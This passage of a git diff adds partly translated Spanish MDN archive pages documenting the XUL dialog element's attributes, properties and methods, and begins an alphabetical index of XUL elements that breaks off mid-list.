+    <code id="a-buttonaccesskeyhelp"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonaccesskeyhelp">buttonaccesskeyhelp</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The access key to use for the "help" button.</dd>
+</dl>
+</div> <div id="a-buttonalign">
+
+<dl>
+  <dt>
+    <code id="a-buttonalign"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonalign">buttonalign</a></code></dt>
+  <dd>
+    Type: <em>string</em></dd>
+  <dd>
+    The value of the <code id="a-align"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/align">align</a></code> attribute for the box containing the buttons.</dd>
+</dl>
+</div> <div id="a-buttondir">
+
+
+<dl>
+ <dt><code id="a-buttondir"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttondir">buttondir</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The value of the <code id="a-dir"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/dir">dir</a></code> attribute for the box containing the buttons.</dd>
+</dl>
+</div> <div id="a-buttondisabledaccept">
+
+
+<dl>
+ <dt><code id="a-buttondisabledaccept"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttondisabledaccept">buttondisabledaccept</a></code></dt>
+ <dd>Type: <em>boolean</em></dd>
+ <dd>If <code>true</code>, the accept button is disabled.</dd>
+</dl>
+</div> <div id="a-buttonlabelaccept">
+
+
+<dl>
+ <dt><code id="a-buttonlabelaccept"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelaccept">buttonlabelaccept</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label to appear on the "accept" button.</dd>
+</dl>
+</div> <div id="a-buttonlabelcancel">
+
+
+<dl>
+ <dt><code id="a-buttonlabelcancel"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelcancel">buttonlabelcancel</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label to appear on the "cancel" button.</dd>
+</dl>
+</div> <div id="a-buttonlabeldisclosure">
+
+
+<dl>
+ <dt><code id="a-buttonlabeldisclosure"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabeldisclosure">buttonlabeldisclosure</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label to appear on the "disclosure" button.</dd>
+</dl>
+</div> <div id="a-buttonlabelextra1">
+
+
+<dl>
+ <dt><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra1">buttonlabelextra1</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label to appear on the first extra button.</dd>
+</dl>
+</div> <div id="a-buttonlabelextra2">
+
+
+<dl>
+ <dt><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra2">buttonlabelextra2</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label to appear on the second extra button.</dd>
+</dl>
+</div> <div id="a-buttonlabelhelp">
+
+
+<dl>
+ <dt><code id="a-buttonlabelhelp"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelhelp">buttonlabelhelp</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The label to appear on the "help" button.</dd>
+</dl>
+</div> <div id="a-buttonorient">
+
+
+<dl>
+ <dt><code id="a-buttonorient"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonorient">buttonorient</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The value of the <code id="a-orient"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/orient">orient</a></code> attribute for the box containing the buttons.</dd>
+</dl>
+</div> <div id="a-buttonpack">
+
+
+<dl>
+ <dt><code id="a-buttonpack"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonpack">buttonpack</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The value of the <code id="a-pack"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/pack">pack</a></code> attribute for the box containing the buttons.</dd>
+</dl>
+</div> <div id="a-buttons">
+
+<dl>
+ <dt>
+  <code id="a-buttons"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttons">buttons</a></code></dt>
+ <dd>
+  Type: <em>comma-separated list of the values below</em></dd>
+ <dd>
+  A comma-separated list of buttons to appear in the dialog box. The buttons will be placed in suitable locations for the user's platform and basic event handling will be performed automatically. The following values can be used in the list:
+  <ul>
+   <li><code>accept</code>: The OK button, which will accept the changes when pressed. This button will also be the default button.</li>
+   <li><code>cancel</code>: The cancel button which will cancel the operation.</li>
+   <li><code>help</code>: A help button for displaying help about the dialog.</li>
+   <li><code>disclosure</code>: A button to show more information. This might be a button or a disclosure triangle.</li>
+   <li><code>extra1</code>: An optional additional button. You can set its label with the <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra1">buttonlabelextra1</a></code></code> attribute and its command with the<code> <code><code id="a-ondialogextra1"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogextra1">ondialogextra1</a></code></code> attribute</code>.</li>
+   <li><code>extra2</code>: A second optional additional button. You can set its label with the <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra2">buttonlabelextra2</a></code></code> attribute and its command with the<code> <code><code id="a-ondialogextra2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogextra2">ondialogextra2</a></code></code> attribute</code>.</li>
+  </ul>
+ </dd>
+</dl>
+<div class="note"><strong>Note:</strong> If you don't want to display any buttons in the dialog box, set the value of this attribute to "," (a single comma).</div>
+<div class="warning"><strong>Warning:</strong> If the <code>accept</code> and <code>cancel</code> buttons are actually shown is system dependent and is mainly controlled by the value of the boolean preference <code>browser.preferences.instantApply</code>. If it is set to <code>true</code> any changes to settings are supposed to be applied immediately. The <code>accept</code> button is therefore unnecessary and is hidden. The <code>cancel</code> button might be shown as an additional possibility to close the dialog in this situation (Windows and Linux) or might be hidden, too (Mac OS).<br>
+ The default setting of <code>browser.preferences.instantApply</code> currently is <code>true</code> on Linux and Mac OS and <code>false</code> on Windows (which however might or might not change soon, see <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=738797" title="FIXED: Enable the in-content preferences by default">bug 738797</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1037225" title="FIXED: Consider keeping browser.preferences.instantApply = false on Windows">bug 1037225</a>).</div>
+</div> <div id="a-defaultButton">
+
+
+<dl>
+ <dt><code id="a-defaultButton"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/defaultButton">defaultButton</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>Normally this attribute should not be set, but if it is, it specifies the default button in the dialog. Typically, this means that the button will be activated when the Enter key is pressed. This should be set to one of the same values as those for the <code id="a-buttons"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttons">buttons</a></code> attribute.</dd>
+</dl>
+</div> <div id="a-inactivetitlebarcolor">
+
+
+<dl>
+ <dt><code id="a-inactivetitlebarcolor"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/inactivetitlebarcolor">inactivetitlebarcolor</a></code> </dt>
+ <dd>Type: <em>color string</em></dd>
+ <dd>Specify background color of the window's titlebar when it is inactive (background). Moreover this hides separator between titlebar and window contents. <em>This affects only on Mac OS X.</em></dd>
+</dl>
+</div> <div id="a-ondialogaccept">
+
+
+<dl>
+ <dt><code id="a-ondialogaccept"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogaccept">ondialogaccept</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>The code in this attribute is called when the accept button is pressed, or when the <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/acceptDialog">acceptDialog</a></code></span> method is called. If the handler returns <code>true</code>, the dialog will indeed go away, but if it returns <code>false</code> it will not.</dd>
+</dl>
+</div> <div id="a-ondialogcancel">
+
+
+<dl>
+ <dt><code id="a-ondialogcancel"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogcancel">ondialogcancel</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>The code in this attribute is called when the "cancel" button is pressed or when the <span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/cancelDialog">cancelDialog</a></code></span> method is called. If the routine returns true, the dialog will indeed go away, but if it returns false it will not.</dd>
+</dl>
+</div> <div id="a-ondialogdisclosure">
+
+
+<dl>
+ <dt><code id="a-ondialogdisclosure"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogdisclosure">ondialogdisclosure</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>The code in this attribute is called when the "disclosure" button is pressed.</dd>
+</dl>
+</div> <div id="a-ondialogextra1">
+
+
+<dl>
+ <dt><code id="a-ondialogextra1"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogextra1">ondialogextra1</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>The code in this attribute is called when the first extra button is pressed.</dd>
+</dl>
+</div> <div id="a-ondialogextra2">
+
+
+<dl>
+ <dt><code id="a-ondialogextra2"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialogextra2">ondialogextra2</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>The code in this attribute is called when the second extra button is pressed.</dd>
+</dl>
+</div> <div id="a-ondialoghelp">
+
+
+<dl>
+ <dt><code id="a-ondialoghelp"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/ondialoghelp">ondialoghelp</a></code></dt>
+ <dd>Type: <em>script code</em></dd>
+ <dd>The code in this attribute is called when the "help" button is pressed.</dd>
+</dl>
+</div> <div id="a-title">
+
+
+<dl>
+ <dt><code id="a-title"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/title">title</a></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>The text to appear in the title bar of the window.</dd>
+</dl>
+</div>
+
+<h3 id="Properties" name="Properties">Propiedades</h3>
+
+<p> </p><div id="p-buttons">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/es/docs/XUL/Property/buttons">buttons</a></span></code></dt>
+ <dd>Typo: <em>lista de los valores de abajo separados por comas</em></dd>
+ <dd>Una lista separada por comas de botones que aparecerán en el cuadro de diálogo. Los botones serán puestos en lugares adecuados para la plataforma del usuario y la gestión básica de eventos se ejecutará automáticamente. En la lista pueden utilizarse los siguientes valores:</dd>
+</dl>
+
+<ul>
+ <li><code>accept</code>: El botón Aceptar, que aceptará los cambios cuando se presione. Este botón también será el botón predeterminado.</li>
+ <li><code>cancel</code>: El botón Cancelar que cancelará la operación.</li>
+ <li><code>help</code>: Un boton Ayuda para mostrar ayuda sobre el diálogo.</li>
+ <li><code>disclosure</code>: Un botón para mostrar más información. Este podría ser un botón o un triángulo.</li>
+ <li><code>extra1</code>: Un botón adicional opcional. Usted puede configurar su leyenda con el atributo<code> <code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra1">buttonlabelextra1</a></code></code>.</li>
+ <li><code>extra2</code>: Un segundo botón adicional opcional. Usted puede configurar su leyenda con el atributo <code><code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Attribute/buttonlabelextra2">buttonlabelextra2</a></code></code>.</li>
+</ul></div> <div id="p-defaultButton">
+
+<dl>
+ <dt><code><span><a href="https://developer.mozilla.org/en-US/docs/XUL/Property/defaultButton">defaultButton</a></span></code></dt>
+ <dd>Type: <em>string</em></dd>
+ <dd>Normally this attribute should not be set, but if it is, it specifies the default button in the dialog. Typically, this means that the button will be activated when the Enter key is pressed. This should be set to one of the same values as those for the <code id="a-buttons"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/buttons">buttons</a></code> attribute.</dd>
+</dl></div>
+
+<h3 id="Methods" name="Methods">Métodos</h3>
+
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238); float: right; width: 250px;">
+<tbody>
+<tr>
+<td>
+<p><strong>Métodos Heredados</strong><br>
+<small><code><a href="https://developer.mozilla.org/es/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.appendChild">appendChild()</a></code>, <span id="m-blur"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/click">click</a></code></span>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.cloneNode">cloneNode()</a></code>, <a href="/es/DOM/Node.compareDocumentPosition" title="es/DOM/Node.compareDocumentPosition">compareDocumentPosition</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/focus">focus</a></code></span>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getBoundingClientRect">getBoundingClientRect()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getClientRects">getClientRects()</a></code>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/getElementsByAttribute">getElementsByAttribute</a></code></span>, <span id="m-getElementsByAttributeNS"><code><a href="https://developer.mozilla.org/es/docs/Mozilla/Tech/XUL/Method/getElementsByAttributeNS">getElementsByAttributeNS</a></code></span>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getElementsByClassName">getElementsByClassName()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <a href="/es/DOM/Node.getFeature" title="es/DOM/Node.getFeature">getFeature</a>, <a href="/es/DOM/Node.getUserData" title="es/DOM/Node.getUserData">getUserData</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.isDefaultNamespace">isDefaultNamespace()</a></code>, <a href="/es/DOM/Node.isEqualNode" title="es/DOM/Node.isEqualNode">isEqualNode</a>, <a href="/es/DOM/Node.isSameNode" title="es/DOM/Node.isSameNode">isSameNode</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.isSupported">isSupported()</a></code>, <a href="/es/DOM/Node.lookupNamespaceURI" title="es/DOM/Node.lookupNamespaceURI">lookupNamespaceURI</a>, <a href="/es/DOM/Node.lookupPrefix" title="es/DOM/Node.lookupPrefix">lookupPrefix</a>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.querySelector">querySelector()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.querySelectorAll">querySelectorAll()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/es/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code>, <a href="/es/DOM/Node.setUserData" title="es/DOM/Node.setUserData">setUserData</a></small></p>
+
+</td>
+</tr>
+</tbody>
+</table> <dl>
+  <dt>
+    <span id="m-acceptDialog"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/acceptDialog">acceptDialog()</a></code></span></dt>
+  <dd>
+    Return type: <em>no return value</em></dd>
+  <dd>
+    Accepts the dialog and closes it, similar to pressing the OK button.</dd>
+</dl> <dl>
+ <dt><span id="m-cancelDialog"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/cancelDialog">cancelDialog()</a></code></span></dt>
+ <dd>Return type: <em>no return value</em></dd>
+ <dd>Cancels the dialog and closes it, similar to pressing the Cancel button.</dd>
+</dl> <dl>
+ <dt><span id="m-centerWindowOnScreen"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/centerWindowOnScreen">centerWindowOnScreen()</a></code></span></dt>
+ <dd>Return type: <em>no return value</em></dd>
+ <dd>Centers the dialog on the screen.</dd>
+</dl> <dl>
+ <dt><span id="m-getButton"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/getButton">getButton( type )</a></code></span></dt>
+ <dd>Return type: <em>button element</em></dd>
+ <dd>Returns the <code><a href="/en-US/docs/Mozilla/Tech/XUL/button" title="button">button</a></code> element in the dialog corresponding to the given type.</dd>
+</dl> <dl>
+ <dt><span id="m-moveToAlertPosition"><code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Method/moveToAlertPosition">moveToAlertPosition()</a></code></span></dt>
+ <dd>Return type: <em>no return value</em></dd>
+ <dd>Moves and resizes the dialog to a position and size suitable for an alert box.</dd>
+</dl>
+
+<h3 id="Related" name="Related">Relacionado</h3>
+
+<dl>
+ <dt>Elementos</dt>
+ <dd><code><a href="/es/docs/Mozilla/Tech/XUL/dialogheader" title="dialogheader">dialogheader</a></code></dd>
+</dl>
diff --git a/files/es/archive/mozilla/xul/elementos/index.html b/files/es/archive/mozilla/xul/elementos/index.html
new file mode 100644
index 0000000000..99aa60adfc
--- /dev/null
+++ b/files/es/archive/mozilla/xul/elementos/index.html
@@ -0,0 +1,323 @@
+---
+title: Elementos
+slug: Archive/Mozilla/XUL/Elementos
+tags:
+  - Todas_las_Categorías
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/elements
+---
+<p>« <a href="/es/docs/XUL" title="es/XUL">Referencia de XUL</a> «</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th colspan="3">Todos los elementos XUL (ordenados alfabéticamente)</th>
+  </tr>
+  <tr>
+   <td>
+    <p><a class="internal" href="/es/XUL/action" title="es/XUL/action">action</a><br>
+     <a class="internal" href="/Es/XUL/Arrowscrollbox" title="Es/XUL/Arrowscrollbox">arrowscrollbox</a><br>
+     <a class="internal" href="/Es/XUL/Assign" title="es/XUL/Assign">assign</a><br>
+     <a class="internal" href="/Es/XUL/Bbox" title="es/XUL/bbox">bbox</a><br>
+     <a class="internal" href="/es/XUL/binding" title="es/XUL/binding">binding</a><br>
+     <a class="internal" href="/es/XUL/bindings" title="es/XUL/bindings">bindings</a><br>
+     <a class="internal" href="/es/XUL/box" title="es/XUL/box">box</a><br>
+     <a class="internal" href="/es/XUL/broadcaster" title="es/XUL/broadcaster">broadcaster</a><br>
+     <a class="internal" href="/es/XUL/broadcasterset" title="es/XUL/broadcasterset">broadcasterset</a><br>
+     <a class="internal" href="/es/XUL/button" title="es/XUL/button">button</a><br>
+     <a class="internal" href="/es/XUL/browser" title="es/XUL/browser">browser</a><br>
+     <a class="internal" href="/es/XUL/checkbox" title="es/XUL/checkbox">checkbox</a><br>
+     <a class="internal" href="/es/XUL/caption" title="es/XUL/caption">caption</a><br>
+     <a class="internal" href="/es/XUL/colorpicker" title="es/XUL/colorpicker">colorpicker</a><br>
+     <a class="internal" href="/es/XUL/column" title="es/XUL/column">column</a><br>
+     <a class="internal" href="/es/XUL/columns" title="es/XUL/columns">columns</a><br>
+     <a class="internal" href="/es/XUL/commandset" title="es/XUL/commandset">commandset</a><br>
+     <a class="internal" href="/es/XUL/command" title="es/XUL/command">command</a><br>
+     <a class="internal" href="/es/XUL/conditions" title="es/XUL/conditions">conditions</a><br>
+     <a class="internal" href="/es/XUL/content" title="es/XUL/content">content</a><br>
+     <a class="internal" href="/es/XUL/datepicker" title="es/XUL/datepicker">datepicker</a><br>
+     <a class="internal" href="/es/XUL/deck" title="es/XUL/deck">deck</a><br>
+     <a class="internal" href="/es/XUL/description" title="es/XUL/description">description</a><br>
+     <a class="internal" href="/Es/XUL/Dialog" title="es/XUL/dialog">dialog</a><br>
+     <a class="internal" href="/es/XUL/dialogheader" title="es/XUL/dialogheader">dialogheader</a><br>
+     <a class="internal" href="/es/XUL/dropmarker" title="es/XUL/dropmarker">dropmarker</a><br>
+     <a class="internal" href="/es/XUL/editor" title="es/XUL/editor">editor</a><br>
+     <a class="internal" href="/es/XUL/grid" title="es/XUL/grid">grid</a><br>
+     <a class="internal" href="/es/XUL/grippy" title="es/XUL/grippy">grippy</a><br>
+     <a class="internal" href="/es/XUL/groupbox" title="es/XUL/groupbox">groupbox</a><br>
+     <a class="internal" href="/es/XUL/hbox" title="es/XUL/hbox">hbox</a><br>
+     <a class="internal" href="/es/XUL/iframe" title="es/XUL/iframe">iframe</a><br>
+     <a class="internal" href="/es/XUL/image" title="es/XUL/image">image</a><br>
+     <a class="internal" href="/es/XUL/key" title="es/XUL/key">key</a><br>
+     <a class="internal" href="/es/XUL/keyset" title="es/XUL/keyset">keyset</a><br>
+     <a class="internal" href="/es/XUL/label" title="es/XUL/label">label</a><br>
+     <a class="internal" href="/es/XUL/listbox" title="es/XUL/listbox">listbox</a><br>
+     <a class="internal" href="/es/XUL/listcell" title="es/XUL/listcell">listcell</a><br>
+     <a class="internal" href="/es/XUL/listcol" title="es/XUL/listcol">listcol</a><br>
+     <a class="internal" href="/es/XUL/listcols" title="es/XUL/listcols">listcols</a><br>
+     <a class="internal" href="/es/XUL/listhead" title="es/XUL/listhead">listhead</a><br>
+     <a class="internal" href="/es/XUL/listheader" title="es/XUL/listheader">listheader</a><br>
+     <a class="internal" href="/es/XUL/listitem" title="es/XUL/listitem">listitem</a></p>
+   </td>
+   <td>
+    <p><a class="internal" href="/es/XUL/member" title="es/XUL/member">member</a><br>
+     <a class="internal" href="/es/XUL/menu" title="es/XUL/menu">menu</a><br>
+     <a class="internal" href="/es/XUL/menubar" title="es/XUL/menubar">menubar</a><br>
+     <a class="internal" href="/es/XUL/menuitem" title="es/XUL/menuitem">menuitem</a><br>
+     <a class="internal" href="/es/XUL/menulist" title="es/XUL/menulist">menulist</a><br>
+     <a class="internal" href="/es/XUL/menupopup" title="es/XUL/menupopup">menupopup</a><br>
+     <a class="internal" href="/es/XUL/menuseparator" title="es/XUL/menuseparator">menuseparator</a><br>
+     <a class="internal" href="/es/XUL/notification" title="es/XUL/notification">notification</a><br>
+     <a class="internal" href="/es/XUL/notificationbox" title="es/XUL/notificationbox">notificationbox</a><br>
+     <a class="internal" href="/es/XUL/observes" title="es/XUL/observes">observes</a><br>
+     <a class="internal" href="/es/XUL/overlay" title="es/XUL/overlay">overlay</a><br>
+     <a class="internal" href="/es/XUL/page" title="es/XUL/page">page</a><br>
+     <a class="internal" href="/es/XUL/panel" title="es/XUL/panel">panel</a><br>
+     <a class="internal" href="/es/XUL/param" title="es/XUL/param">param</a><br>
+     <a class="internal" href="/es/XUL/popupset" title="es/XUL/popupset">popupset</a><br>
+     <a class="internal" href="/es/XUL/preference" title="es/XUL/preference">preference</a><br>
+     <a class="internal" href="/es/XUL/preferences" title="es/XUL/preferences">preferences</a><br>
+     <a class="internal" href="/es/XUL/prefpane" title="es/XUL/prefpane">prefpane</a><br>
+     <a class="internal" href="/es/XUL/prefwindow" title="es/XUL/prefwindow">prefwindow</a><br>
+     <a class="internal" href="/es/XUL/progressmeter" title="es/XUL/progressmeter">progressmeter</a><br>
+     <a class="internal" href="/es/XUL/query" title="es/XUL/query">query</a><br>
+     <a class="internal" href="/es/XUL/queryset" title="es/XUL/queryset">queryset</a><br>
+     <a class="internal" href="/es/XUL/radio" title="es/XUL/radio">radio</a><br>
+     <a class="internal" href="/es/XUL/radiogroup" title="es/XUL/radiogroup">radiogroup</a><br>
+     <a class="internal" href="/es/XUL/resizer" title="es/XUL/resizer">resizer</a><br>
+     <a class="internal" href="/es/XUL/richlistbox" title="es/XUL/richlistbox">richlistbox</a><br>
+     <a class="internal" href="/es/XUL/richlistitem" title="es/XUL/richlistitem">richlistitem</a><br>
+     <a class="internal" href="/es/XUL/row" title="es/XUL/row">row</a><br>
+     <a class="internal" href="/es/XUL/rows" title="es/XUL/rows">rows</a><br>
+     <a class="internal" href="/es/XUL/rule" title="es/XUL/rule">rule</a><br>
+     <a class="internal" href="/es/XUL/scale" title="es/XUL/scale">scale</a><br>
+     <a class="internal" href="/es/XUL/script" title="es/XUL/script">script</a><br>
+     <a class="internal" href="/es/XUL/scrollbar" title="es/XUL/scrollbar">scrollbar</a><br>
+     <a class="internal" href="/es/XUL/scrollbox" title="es/XUL/scrollbox">scrollbox</a><br>
+     <a class="internal" href="/es/XUL/scrollcorner" title="es/XUL/scrollcorner">scrollcorner</a><br>
+     <a class="internal" href="/es/XUL/separator" title="es/XUL/separator">separator</a><br>
+     <a class="internal" href="/es/XUL/spacer" title="es/XUL/spacer">spacer</a><br>
+     <a class="internal" href="/es/XUL/spinbuttons" title="es/XUL/spinbuttons">spinbuttons</a><br>
+     <a class="internal" href="/es/XUL/splitter" title="es/XUL/splitter">splitter</a><br>
+     <a class="internal" href="/es/XUL/stack" title="es/XUL/stack">stack</a><br>
+     <a class="internal" href="/Es/XUL/Statusbar" title="es/XUL/statusbar">statusbar</a></p>
+   </td>
+   <td>
+    <p><a class="internal" href="/es/XUL/statusbarpanel" title="es/XUL/statusbarpanel">statusbarpanel</a><br>
+     <a class="internal" href="/es/XUL/stringbundle" title="es/XUL/stringbundle">stringbundle</a><br>
+     <a class="internal" href="/es/XUL/stringbundleset" title="es/XUL/stringbundleset">stringbundleset</a><br>
+     <a class="internal" href="/es/XUL/tab" title="es/XUL/tab">tab</a><br>
+     <a class="internal" href="/es/XUL/tabbrowser" title="es/XUL/tabbrowser">tabbrowser</a> (Firefox-a partir de<br>
+     Firefox 3/Gecko 1.9)<br>
+     <a class="internal" href="/es/XUL/tabbox" title="es/XUL/tabbox">tabbox</a><br>
+     <a class="internal" href="/es/XUL/tabpanel" title="es/XUL/tabpanel">tabpanel</a><br>
+     <a class="internal" href="/es/XUL/tabpanels" title="es/XUL/tabpanels">tabpanels</a><br>
+     <a class="internal" href="/es/XUL/tabs" title="es/XUL/tabs">tabs</a><br>
+     <a class="internal" href="/es/XUL/template" title="es/XUL/template">template</a><br>
+     <a class="internal" href="/es/XUL/textnode" title="es/XUL/textnode">textnode</a><br>
+     <a class="internal" href="/es/XUL/textbox" title="es/XUL/textbox">textbox</a><br>
+     <a class="internal" href="/es/XUL/textbox_(Firefox_autocomplete)" title="es/XUL/textbox (Firefox autocomplete)">textbox (Firefox autocomplete)</a><br>
+     <a class="internal" href="/es/XUL/textbox_(Mozilla_autocomplete)" title="es/XUL/textbox (Mozilla autocomplete)">textbox (Mozilla autocomplete)</a><br>
+     <a class="internal" href="/es/XUL/timepicker" title="es/XUL/timepicker">timepicker</a><br>
+     <a class="internal" href="/es/XUL/titlebar" title="es/XUL/titlebar">titlebar</a><br>
+     <a class="internal" href="/es/XUL/toolbar" title="es/XUL/toolbar">toolbar</a><br>
+     <a class="internal" href="/es/XUL/toolbarbutton" title="es/XUL/toolbarbutton">toolbarbutton</a><br>
